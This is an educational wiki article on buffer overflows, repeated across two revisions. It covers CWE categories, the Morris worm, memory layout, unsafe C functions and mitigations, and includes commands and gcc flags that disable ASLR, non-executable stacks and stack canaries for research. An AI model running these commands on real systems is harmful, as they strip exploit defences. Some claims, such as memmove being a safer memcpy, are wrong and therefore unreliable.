Since the rise of C in the early 1970s, buffer overflows have become a serious security vulnerability. Even though high-level programming languages are typically not affected, the number of vulnerable systems is actually rising. At the same time, a wide array of countermeasures are also increasingly adopted and applied. Features like executable space protection (e.g., data execution prevention under Windows) have already been deployed since the mid-2000s, and on the compiler side, technologies like Stackguard support several detection and prevention mechanisms (e.g., different types of canaries). Furthermore, almost every widely used operation system supports Address Space Layout Randomization in order to minimize the attack surface for buffer overflow attacks. For example, at the beginning of 2020, most of the bigger operating systems (Linux, Windows, macOS, iOS, Android, Solaris, OpenBSD, etc.) will offer support for ASLR.

Another key point is the expansion of the Internet of Things (IoT). These widely distributed networks of hardware endpoints have deemed themselves the perfect target for buffer overflow attacks. This stems from the fact that IoT applications mostly utilize low-level, closely hardware-related languages such as C and C++, both of which are almost exclusively for buffer overflows.

== References ==

<references />

* [http://phrack.org/issues/49/14.html Smashing the stack for fun and profit (1996, Aleph One)]
* [http://phrack.org/issues/60/10.html#article Basic Integer Overflows (2002, Blexim)]
* [https://doi.org/10.1109/SP.2013.45 Just-In-Time Code Reuse: On the Effectiveness of Fine-Grained Address Space Layout Randomization (2013, Snow et al.)]
* [http://www.cs.ucf.edu/~czou/CDA6938-06/Buffer%20Overflows.pdf Buffer Overflow for Dummies (2002, Josef Nelißen)]
* [https://www.hackingarticles.in/a-beginners-guide-to-buffer-overflow/ A Beginner’s Guide to Buffer Overflow (2021, Raj Chandel)]
* [https://repository.unikom.ac.id/56387/1/24_Deadly_Sin.pdf 24 Deadly Sins of Software Security (2009, Michael Howard, David LeBlanc, and John Viega)]
* [https://scholar.google.com/scholar_case?case=551386241451639668 United States v. Morris (1991, U.S. Dept. of Justice)]
* [https://cwe.mitre.org/top25/archive/2023/2023_top25_list.html 2023 CWE Top 25 Most Dangerous Software Weaknesses (2023, CWE)]
* [https://computersciencewiki.org/index.php?title=Stack_memory Stack memory (2023, Bill MacKenty)]
* [https://computersciencewiki.org/index.php?title=Heap_memory Heap memory (2023, Bill MacKenty)]

[[Category:Basic]]

Buffer Overflows

2024-12-11T11:13:00Z

AKofranek: /* Dangers */

== Introduction ==
Buffer overflow is a security vulnerability that should not be underestimated, as it has been the most common type of vulnerability in the last decade. This type of attack is an essential part of all security attacks, as buffer overflow vulnerabilities are widespread and easy to exploit. Especially in the field of cyber attacks, they are exploited by users to gain access to vulnerable servers and control them.

== Definitions ==

=== Buffer ===

A buffer is defined as a '''limited''', contiguously allocated set of memory. The most common buffer in C is an array. <ref name=”RE1”>C. Anley, The Shellcoder’s Handbook: Discovering and Exploiting Security Holes, 2nd ed., Indianapolis: Wiley, 2007</ref>

=== Buffer Overflow ===

Buffer Overflows are possible because in the C and C++ languages there exists no inherent bounds-checking to ensure that data being copied into a buffer will not be larger than what the buffer was initialized to hold. Consequently, if the person writing the program has not explicitly coded the program to check for oversize input, it is possible for data to fill a buffer, and if that data is large enough, to continue to write past the end of the buffer. <ref name=”RE1”/>

== Common Weakness Enumeration (CWE) ==

The importance of addressing buffer overflow vulnerabilities can be seen by examining Mitre’s respective parent category: <ref name=”MIT23a”> MITRE, "CVE Search Results for 'buffer overflow'," [Online]. Available: https://cve.mitre.org/cgi-bin/cvekey.cgi?keyword=buffer+overflow. Accessed: Oct. 16, 2024. </ref>

* CWE-119: Improper Restriction of Operations within the Bounds of a Memory Buffer

There is a large variety of direct and indirect child categories that further help create a taxonomy of the issues at hand. Some of those are listed here:
<ref name="MIT23b">MITRE, "CWE-119: Improper Restriction of Operations within the Bounds of a Memory Buffer," [Online]. Available: https://cwe.mitre.org/data/definitions/119.html. Accessed: Oct. 16, 2024.</ref>
<ref name="MIT23c">MITRE, "CWE-788: Access of Memory Location After End of Buffer," [Online]. Available: https://cwe.mitre.org/data/definitions/788.html. Accessed: Oct. 16, 2024.</ref>

* CWE-788: Access of Memory Location After End of Buffer
* CWE-787: Out-of-bounds Write
* CWE-786: Access of Memory Location Before Start of Buffer
* CWE-125: Out-of-bounds Read
* CWE-120: Buffer Copy Without Checking Size of Input (’Classic Buffer Over- flow’)
* CWE-121: Stack-based Buffer Overflow
* CWE-122: Heap-based Buffer Overflow
* CWE-126: Buffer Over-read

== History ==
In the past, there were often a series of events executed with the help of buffer overflows. In 1980, the term Internet worm was a very well-known and sensitive topic because a worm was malicious software that reproduced itself and spread through network connections. It was called a Morris worm because on November 2, 1988, an event occurred that changed the way people thought about networks and about the Internet. On that day, tens of thousands of computers quickly and simultaneously became infected with a self-replicating computer program. Back then, computer science student Robert T. Morris created a computer worm that exploited an unsafe function, which at the time was very commonly used and distributed. Through the practical application of a buffer overflow, the computer worm spread itself around at an alarming rate and, going back, nearly shut down the entire internet. This situation resulted in Morris being the first person convicted under the Computer Fraud and Abuse Act, demonstrating further how dangerous buffer overflows can be. To this day, this attack is perhaps one of the most significant events in the history of computing. With buffer overflows, it was also possible to bypass various security measures. For example, buffer overflows could be used to remove software restrictions from firmware or to bypass copy protection. This was the case with the Android and iOS operating systems, where it was possible to remove various locks and modify the smartphone according to one's own wishes. For example, it was possible to install apps that were not available in the store elsewhere, change the boot animation, access hidden system files, remove manufacturer-specific apps, remove network locks, and much more. One keyword is "jailbreaking" for Apple devices and "rooting" for Android devices. On Nintendo's game console, a game called Pokemon Yellow could be changed from the inside by manipulating the program using shellcode.

While many of these events already reside in the past, buffer overflows do not. The exploit reoccurs frequently, so much so that in 2023 they still secured themselves a spot on the Common Weakness Enumeration/SANS list of the Top 25 Most Dangerous Software Errors. Whether through the adaptation of the exploit's mechanism or simply by focusing on a new set of targets, buffer overflows stay relevant. That's why, when dealing with cybersecurity of any sort, there is no way past them.

== Technical Background and Context ==

=== Memory Layout of a Process ===

Informally, a process is a '''program in execution'''. The status of the current activity of a process is represented by the value of the '''program counter''' and the content of the processor’s registers. Different parts of the program are stored in different memory segments, as shown in the figure below.

[[File:Memory structure.png|center]][https://www.cs.ucf.edu/~czou/CDA6938-06/Buffer%20Overflows.pdf#page=8]

* '''Stack section''' - temporary data storage when invoking functions (such as function parameters, return addresses, and local variables)
* '''Heap section''' - memory that is dynamically allocated during program run time
* '''Data section''' - global variables (initialized and uninitialized)
* '''Code/Text section''' - the executable, machine-readable bytecode

=== Readable, Writeable, Executable Memory ===

Memory regions have different rights with respect to the process they belong to. For instance, the text section will usually be marked read only and any attempt to write to it will result in a '''Segmentation Fault'''.
<ref name="One1996">A. One, "Smashing the Stack for Fun and Profit," *Phrack*, vol. 7, no. 49, Nov. 1996.</ref>
All other sections have to be writeable in order for the process to work properly. <ref name=”RE1”/> Whether a section is '''executable''', will largely depend on the applied settings during compilation of the program and the platform on which it is executed.

=== The Stack and Important Control Structures ===

The stack’s primary purpose is to implement and help with the use of functions. A function call alters the flow of execution through a program. However, when its task is completed, a function returns control to the statement or instruction following the function call. Furthermore, the stack is used to allocate memory for the local variables used in the functions and to return values from the function. <ref name=”One1996”/>

== Causes ==

=== C/C++: Vulnerable Functions ===
C is the programming language most affected when it comes to creating buffer overflows, closely followed by C++.
<ref name="Howard2009">M. Howard, D. LeBlanc, and J. Viega, *24 Deadly Sins of Software Security: Programming Flaws and How to Fix Them*, 1st ed. USA: McGraw-Hill, Inc., 2009.</ref>
When writing C code the programmer is responsible for '''data integrity'''. If this responsibility were shifted over to the compiler, the resulting binaries would be significantly slower and less efficient. Furthermore, C’s simplicity increases the programmer’s control. However, this can result in programs that are vulnerable to buffer overflows and memory leaks if the programmer isn’t careful.
<ref name="Erickson2008">J. Erickson, *Hacking: The Art of Exploitation*, 2nd ed. San Francisco: No Starch Press, 2008.</ref>

Some '''vulnerable functions''' from the C/C++ standard are listed here, each with their respective, saver counterpart:
{|class="wikitable"
! Vulnerable || Safer
|-
| strcpy() || strncpy()
|-
| gets() || fgets()
|-
| strcat() || strncat()
|-
| memcpy() || memmove()
|-
| memset() || -
|}

=== IoT: Constrained Devices (TODO) ===

No Mitigaton Techniques implemented

== Dangers (TODO) ==

* Data Corruption
* Program Crashes
* Exploitation: Control Flow Alteration
* Exploitation (via Shellcode Injection): Arbitrary Code Execution

== Types of Buffer Overflow Vulnerabilities ==

=== Buffer Over-Read ===

=== Buffer Over-Write ===

=== Integer Overflow ===
Integer overflows occur when an arithmetic operation attempts to generate a value that lies outside a range that can be represented with a specified number of bits. The most common result of an overflow is that the least significant representable bits of the result are stored. An overflow condition can lead to results that are equivalent to unintended behavior. In particular, if the possibility is not expected, an overflow can affect the reliability and safety of a program. A code example is shown below.

unsigned char a = 255;
unsigned char b = 2;
unsigned char Result = a + b;

The data type unsigned char is used, which comprises 8 bits, and the value range is from 0 to 255. For the variable "a," the value 255 is assigned, and for the variable "b," the value 2 is assigned. If an arithmetic operation is performed, we would get a result that requires more bits than are present to represent. The corresponding dual calculation is shown below.

11111111 (a)
+ 00000010 (b)
----------
100000001 (Result)

The front one, the ninth bit, is no longer contained in the 8 bits of the data type ''unsigned char''. If only the last 8 bits were considered, the result would be 1 and not 257.

=== Stack-based Buffer Overflow ===

=== Heap-based Buffer Overflow ===

=== Use-After-Free Vulnerability ===
The Use-After-Free bug is a vulnerability where memory should not be used in this way while the program is running. If a program clears memory, but the pointer to that memory is not yet cleared, an attacker can use this bug to gain access and control.

== Mitigation Techniques and How to Disable Them ==
This section will briefly introduce some mitigation techniques that can potentially prevent buffer overflow attacks. First, it will explain the basic concepts in a simple way, and second, it will provide brief guides on how to disable certain mitigation techniques for research purposes.

=== Adress Space Layout Randomisation (ASLR) ===
ASLR randomizes the memory address space layout of processes, making it harder to predict the location of specific functions or buffers. <ref name=”RE1”/> Since code reuse attacks (e.g., ROP attacks) require the memory addresses of gadgets to be known to an attacker, techniques to randomize their entry points have become increasingly popular.

'''ASLR can be temporarily disabled''' at the system level (Linux):
<pre>
echo 0 | sudo tee /proc/sys/kernel/randomize_va_space
</pre>
Re-enable after testing:
<pre>
echo 2 | sudo tee /proc/sys/kernel/randomize_va_space
</pre>

=== Non-executable Stack (nx-stack) ===
A non-executable stack, or nx-stack, prevents execution of code in the stack, when designated as non-executable, mitigating buffer overflow attacks that inject shellcode into that region. <ref name=”RE1”/>

To '''disable nx-stack''' on a program, use the -z execstack option during compilation. This allows execution of code in the stack memory:
<pre>
gcc -z execstack -o vulnerable_program source.c
</pre>

=== Data Execution Prevention (DEP) ===

Data Execution Prevention (DEP) is a security feature originally developed by MicrosoftR© for Windows XP SP2. There are two basic variants: hardware-based DEP and software-based DEP. If supported by the CPU as well as the process, hardware DEP will be employed; otherwise, DEP has to be carried out in software, which is part of the Windows operating system. The basic functionality of DEP is to prevent applications from executing code in a non-executable area of memory.

=== Stack Canaries ===

Stack canaries are small random values placed on the stack to detect and prevent buffer overflow attacks. If an overflow occurs and modifies the stack, the canary value will change, triggering a security alert or crash. <ref name=”RE1”/>
Typical types of canaries, which are supported by security hardening technologies like ProPolice or Stackguard (GCC), are terminator canaries, random canaries, and random XOR canaries.

To '''disable stack canaries''' when compiling a program, use the -fno-stack-protector option with gcc:
<pre>
gcc -fno-stack-protector -o vulnerable_program source.c
</pre>

== Conclusion ==
Since the rise of C in the early 1970s, buffer overflows have become a serious security vulnerability. Even though high-level programming languages are typically not affected, the number of vulnerable systems is actually rising. At the same time, a wide array of countermeasures are also increasingly adopted and applied. Features like executable space protection (e.g., data execution prevention under Windows) have already been deployed since the mid-2000s, and on the compiler side, technologies like Stackguard support several detection and prevention mechanisms (e.g., different types of canaries). Furthermore, almost every widely used operation system supports Address Space Layout Randomization in order to minimize the attack surface for buffer overflow attacks. For example, at the beginning of 2020, most of the bigger operating systems (Linux, Windows, macOS, iOS, Android, Solaris, OpenBSD, etc.) will offer support for ASLR.

Another key point is the expansion of the Internet of Things (IoT). These widely distributed networks of hardware endpoints have deemed themselves the perfect target for buffer overflow attacks. This stems from the fact that IoT applications mostly utilize low-level, closely hardware-related languages such as C and C++, both of which are almost exclusively for buffer overflows.

== References ==

<references />

* [http://phrack.org/issues/49/14.html Smashing the stack for fun and profit (1996, Aleph One)]
* [http://phrack.org/issues/60/10.html#article Basic Integer Overflows (2002, Blexim)]
* [https://doi.org/10.1109/SP.2013.45 Just-In-Time Code Reuse: On the Effectiveness of Fine-Grained Address Space Layout Randomization (2013, Snow et al.)]
* [http://www.cs.ucf.edu/~czou/CDA6938-06/Buffer%20Overflows.pdf Buffer Overflow for Dummies (2002, Josef Nelißen)]
* [https://www.hackingarticles.in/a-beginners-guide-to-buffer-overflow/ A Beginner’s Guide to Buffer Overflow (2021, Raj Chandel)]
* [https://repository.unikom.ac.id/56387/1/24_Deadly_Sin.pdf 24 Deadly Sins of Software Security (2009, Michael Howard, David LeBlanc, and John Viega)]
* [https://scholar.google.com/scholar_case?case=551386241451639668 United States v. Morris (1991, U.S. Dept. of Justice)]
* [https://cwe.mitre.org/top25/archive/2023/2023_top25_list.html 2023 CWE Top 25 Most Dangerous Software Weaknesses (2023, CWE)]
* [https://computersciencewiki.org/index.php?title=Stack_memory Stack memory (2023, Bill MacKenty)]
* [https://computersciencewiki.org/index.php?title=Heap_memory Heap memory (2023, Bill MacKenty)]

[[Category:Basic]]

Buffer Overflows

2024-12-11T11:12:49Z

AKofranek: /* C/C++: Vulnerable Functions */

== Introduction ==
Buffer overflow is a security vulnerability that should not be underestimated, as it has been the most common type of vulnerability in the last decade. This type of attack is an essential part of all security attacks, as buffer overflow vulnerabilities are widespread and easy to exploit. Especially in the field of cyber attacks, they are exploited by users to gain access to vulnerable servers and control them.

== Definitions ==

=== Buffer ===

A buffer is defined as a '''limited''', contiguously allocated set of memory. The most common buffer in C is an array. <ref name=”RE1”>C. Anley, The Shellcoder’s Handbook: Discovering and Exploiting Security Holes, 2nd ed., Indianapolis: Wiley, 2007</ref>

=== Buffer Overflow ===

Buffer Overflows are possible because in the C and C++ languages there exists no inherent bounds-checking to ensure that data being copied into a buffer will not be larger than what the buffer was initialized to hold. Consequently, if the person writing the program has not explicitly coded the program to check for oversize input, it is possible for data to fill a buffer, and if that data is large enough, to continue to write past the end of the buffer. <ref name=”RE1”/>

== Common Weakness Enumeration (CWE) ==

The importance of addressing buffer overflow vulnerabilities can be seen by examining Mitre’s respective parent category: <ref name=”MIT23a”> MITRE, "CVE Search Results for 'buffer overflow'," [Online]. Available: https://cve.mitre.org/cgi-bin/cvekey.cgi?keyword=buffer+overflow. Accessed: Oct. 16, 2024. </ref>

* CWE-119: Improper Restriction of Operations within the Bounds of a Memory Buffer

There is a large variety of direct and indirect child categories that further help create a taxonomy of the issues at hand. Some of those are listed here:
<ref name="MIT23b">MITRE, "CWE-119: Improper Restriction of Operations within the Bounds of a Memory Buffer," [Online]. Available: https://cwe.mitre.org/data/definitions/119.html. Accessed: Oct. 16, 2024.</ref>
<ref name="MIT23c">MITRE, "CWE-788: Access of Memory Location After End of Buffer," [Online]. Available: https://cwe.mitre.org/data/definitions/788.html. Accessed: Oct. 16, 2024.</ref>

* CWE-788: Access of Memory Location After End of Buffer
* CWE-787: Out-of-bounds Write
* CWE-786: Access of Memory Location Before Start of Buffer
* CWE-125: Out-of-bounds Read
* CWE-120: Buffer Copy Without Checking Size of Input (’Classic Buffer Over- flow’)
* CWE-121: Stack-based Buffer Overflow
* CWE-122: Heap-based Buffer Overflow
* CWE-126: Buffer Over-read

== History ==
In the past, there were often a series of events executed with the help of buffer overflows. In 1980, the term Internet worm was a very well-known and sensitive topic because a worm was malicious software that reproduced itself and spread through network connections. It was called a Morris worm because on November 2, 1988, an event occurred that changed the way people thought about networks and about the Internet. On that day, tens of thousands of computers quickly and simultaneously became infected with a self-replicating computer program. Back then, computer science student Robert T. Morris created a computer worm that exploited an unsafe function, which at the time was very commonly used and distributed. Through the practical application of a buffer overflow, the computer worm spread itself around at an alarming rate and, going back, nearly shut down the entire internet. This situation resulted in Morris being the first person convicted under the Computer Fraud and Abuse Act, demonstrating further how dangerous buffer overflows can be. To this day, this attack is perhaps one of the most significant events in the history of computing. With buffer overflows, it was also possible to bypass various security measures. For example, buffer overflows could be used to remove software restrictions from firmware or to bypass copy protection. This was the case with the Android and iOS operating systems, where it was possible to remove various locks and modify the smartphone according to one's own wishes. For example, it was possible to install apps that were not available in the store elsewhere, change the boot animation, access hidden system files, remove manufacturer-specific apps, remove network locks, and much more. One keyword is "jailbreaking" for Apple devices and "rooting" for Android devices. On Nintendo's game console, a game called Pokemon Yellow could be changed from the inside by manipulating the program using shellcode.

While many of these events already reside in the past, buffer overflows do not. The exploit reoccurs frequently, so much so that in 2023 they still secured themselves a spot on the Common Weakness Enumeration/SANS list of the Top 25 Most Dangerous Software Errors. Whether through the adaptation of the exploit's mechanism or simply by focusing on a new set of targets, buffer overflows stay relevant. That's why, when dealing with cybersecurity of any sort, there is no way past them.

== Technical Background and Context ==

=== Memory Layout of a Process ===

Informally, a process is a '''program in execution'''. The status of the current activity of a process is represented by the value of the '''program counter''' and the content of the processor’s registers. Different parts of the program are stored in different memory segments, as shown in the figure below.

[[File:Memory structure.png|center]][https://www.cs.ucf.edu/~czou/CDA6938-06/Buffer%20Overflows.pdf#page=8]

* '''Stack section''' - temporary data storage when invoking functions (such as function parameters, return addresses, and local variables)
* '''Heap section''' - memory that is dynamically allocated during program run time
* '''Data section''' - global variables (initialized and uninitialized)
* '''Code/Text section''' - the executable, machine-readable bytecode

=== Readable, Writeable, Executable Memory ===

Memory regions have different rights with respect to the process they belong to. For instance, the text section will usually be marked read only and any attempt to write to it will result in a '''Segmentation Fault'''.
<ref name="One1996">A. One, "Smashing the Stack for Fun and Profit," *Phrack*, vol. 7, no. 49, Nov. 1996.</ref>
All other sections have to be writeable in order for the process to work properly. <ref name=”RE1”/> Whether a section is '''executable''', will largely depend on the applied settings during compilation of the program and the platform on which it is executed.

=== The Stack and Important Control Structures ===

The stack’s primary purpose is to implement and help with the use of functions. A function call alters the flow of execution through a program. However, when its task is completed, a function returns control to the statement or instruction following the function call. Furthermore, the stack is used to allocate memory for the local variables used in the functions and to return values from the function. <ref name=”One1996”/>

== Causes ==

=== C/C++: Vulnerable Functions ===
C is the programming language most affected when it comes to creating buffer overflows, closely followed by C++.
<ref name="Howard2009">M. Howard, D. LeBlanc, and J. Viega, *24 Deadly Sins of Software Security: Programming Flaws and How to Fix Them*, 1st ed. USA: McGraw-Hill, Inc., 2009.</ref>
When writing C code the programmer is responsible for '''data integrity'''. If this responsibility were shifted over to the compiler, the resulting binaries would be significantly slower and less efficient. Furthermore, C’s simplicity increases the programmer’s control. However, this can result in programs that are vulnerable to buffer overflows and memory leaks if the programmer isn’t careful.
<ref name="Erickson2008">J. Erickson, *Hacking: The Art of Exploitation*, 2nd ed. San Francisco: No Starch Press, 2008.</ref>

Some '''vulnerable functions''' from the C/C++ standard are listed here, each with their respective, saver counterpart:
{|class="wikitable"
! Vulnerable || Safer
|-
| strcpy() || strncpy()
|-
| gets() || fgets()
|-
| strcat() || strncat()
|-
| memcpy() || memmove()
|-
| memset() || -
|}

=== IoT: Constrained Devices (TODO) ===

No Mitigaton Techniques implemented

== Dangers ==

* Data Corruption
* Program Crashes
* Exploitation: Control Flow Alteration
* Exploitation (via Shellcode Injection): Arbitrary Code Execution

== Types of Buffer Overflow Vulnerabilities ==

=== Buffer Over-Read ===

=== Buffer Over-Write ===

=== Integer Overflow ===
Integer overflows occur when an arithmetic operation attempts to generate a value that lies outside a range that can be represented with a specified number of bits. The most common result of an overflow is that the least significant representable bits of the result are stored. An overflow condition can lead to results that are equivalent to unintended behavior. In particular, if the possibility is not expected, an overflow can affect the reliability and safety of a program. A code example is shown below.

unsigned char a = 255;
unsigned char b = 2;
unsigned char Result = a + b;

The data type unsigned char is used, which comprises 8 bits, and the value range is from 0 to 255. For the variable "a," the value 255 is assigned, and for the variable "b," the value 2 is assigned. If an arithmetic operation is performed, we would get a result that requires more bits than are present to represent. The corresponding dual calculation is shown below.

11111111 (a)
+ 00000010 (b)
----------
100000001 (Result)

The front one, the ninth bit, is no longer contained in the 8 bits of the data type ''unsigned char''. If only the last 8 bits were considered, the result would be 1 and not 257.

=== Stack-based Buffer Overflow ===

=== Heap-based Buffer Overflow ===

=== Use-After-Free Vulnerability ===
The Use-After-Free bug is a vulnerability where memory should not be used in this way while the program is running. If a program clears memory, but the pointer to that memory is not yet cleared, an attacker can use this bug to gain access and control.

== Mitigation Techniques and How to Disable Them ==
This section will briefly introduce some mitigation techniques that can potentially prevent buffer overflow attacks. First, it will explain the basic concepts in a simple way, and second, it will provide brief guides on how to disable certain mitigation techniques for research purposes.

=== Adress Space Layout Randomisation (ASLR) ===
ASLR randomizes the memory address space layout of processes, making it harder to predict the location of specific functions or buffers. <ref name=”RE1”/> Since code reuse attacks (e.g., ROP attacks) require the memory addresses of gadgets to be known to an attacker, techniques to randomize their entry points have become increasingly popular.

'''ASLR can be temporarily disabled''' at the system level (Linux):
<pre>
echo 0 | sudo tee /proc/sys/kernel/randomize_va_space
</pre>
Re-enable after testing:
<pre>
echo 2 | sudo tee /proc/sys/kernel/randomize_va_space
</pre>

=== Non-executable Stack (nx-stack) ===
A non-executable stack, or nx-stack, prevents execution of code in the stack, when designated as non-executable, mitigating buffer overflow attacks that inject shellcode into that region. <ref name=”RE1”/>

To '''disable nx-stack''' on a program, use the -z execstack option during compilation. This allows execution of code in the stack memory:
<pre>
gcc -z execstack -o vulnerable_program source.c
</pre>

=== Data Execution Prevention (DEP) ===

Data Execution Prevention (DEP) is a security feature originally developed by MicrosoftR© for Windows XP SP2. There are two basic variants: hardware-based DEP and software-based DEP. If supported by the CPU as well as the process, hardware DEP will be employed; otherwise, DEP has to be carried out in software, which is part of the Windows operating system. The basic functionality of DEP is to prevent applications from executing code in a non-executable area of memory.

=== Stack Canaries ===

Stack canaries are small random values placed on the stack to detect and prevent buffer overflow attacks. If an overflow occurs and modifies the stack, the canary value will change, triggering a security alert or crash. <ref name=”RE1”/>
Typical types of canaries, which are supported by security hardening technologies like ProPolice or Stackguard (GCC), are terminator canaries, random canaries, and random XOR canaries.

To '''disable stack canaries''' when compiling a program, use the -fno-stack-protector option with gcc:
<pre>
gcc -fno-stack-protector -o vulnerable_program source.c
</pre>

== Conclusion ==
Since the rise of C in the early 1970s, buffer overflows have become a serious security vulnerability. Even though high-level programming languages are typically not affected, the number of vulnerable systems is actually rising. At the same time, a wide array of countermeasures are also increasingly adopted and applied. Features like executable space protection (e.g., data execution prevention under Windows) have already been deployed since the mid-2000s, and on the compiler side, technologies like Stackguard support several detection and prevention mechanisms (e.g., different types of canaries). Furthermore, almost every widely used operation system supports Address Space Layout Randomization in order to minimize the attack surface for buffer overflow attacks. For example, at the beginning of 2020, most of the bigger operating systems (Linux, Windows, macOS, iOS, Android, Solaris, OpenBSD, etc.) will offer support for ASLR.

Another key point is the expansion of the Internet of Things (IoT). These widely distributed networks of hardware endpoints have deemed themselves the perfect target for buffer overflow attacks. This stems from the fact that IoT applications mostly utilize low-level, closely hardware-related languages such as C and C++, both of which are almost exclusively for buffer overflows.

== References ==

<references />

* [http://phrack.org/issues/49/14.html Smashing the stack for fun and profit (1996, Aleph One)]
* [http://phrack.org/issues/60/10.html#article Basic Integer Overflows (2002, Blexim)]
* [https://doi.org/10.1109/SP.2013.45 Just-In-Time Code Reuse: On the Effectiveness of Fine-Grained Address Space Layout Randomization (2013, Snow et al.)]
* [http://www.cs.ucf.edu/~czou/CDA6938-06/Buffer%20Overflows.pdf Buffer Overflow for Dummies (2002, Josef Nelißen)]
* [https://www.hackingarticles.in/a-beginners-guide-to-buffer-overflow/ A Beginner’s Guide to Buffer Overflow (2021, Raj Chandel)]
* [https://repository.unikom.ac.id/56387/1/24_Deadly_Sin.pdf 24 Deadly Sins of Software Security (2009, Michael Howard, David LeBlanc, and John Viega)]
* [https://scholar.google.com/scholar_case?case=551386241451639668 United States v. Morris (1991, U.S. Dept. of Justice)]
* [https://cwe.mitre.org/top25/archive/2023/2023_top25_list.html 2023 CWE Top 25 Most Dangerous Software Weaknesses (2023, CWE)]
* [https://computersciencewiki.org/index.php?title=Stack_memory Stack memory (2023, Bill MacKenty)]
* [https://computersciencewiki.org/index.php?title=Heap_memory Heap memory (2023, Bill MacKenty)]

[[Category:Basic]]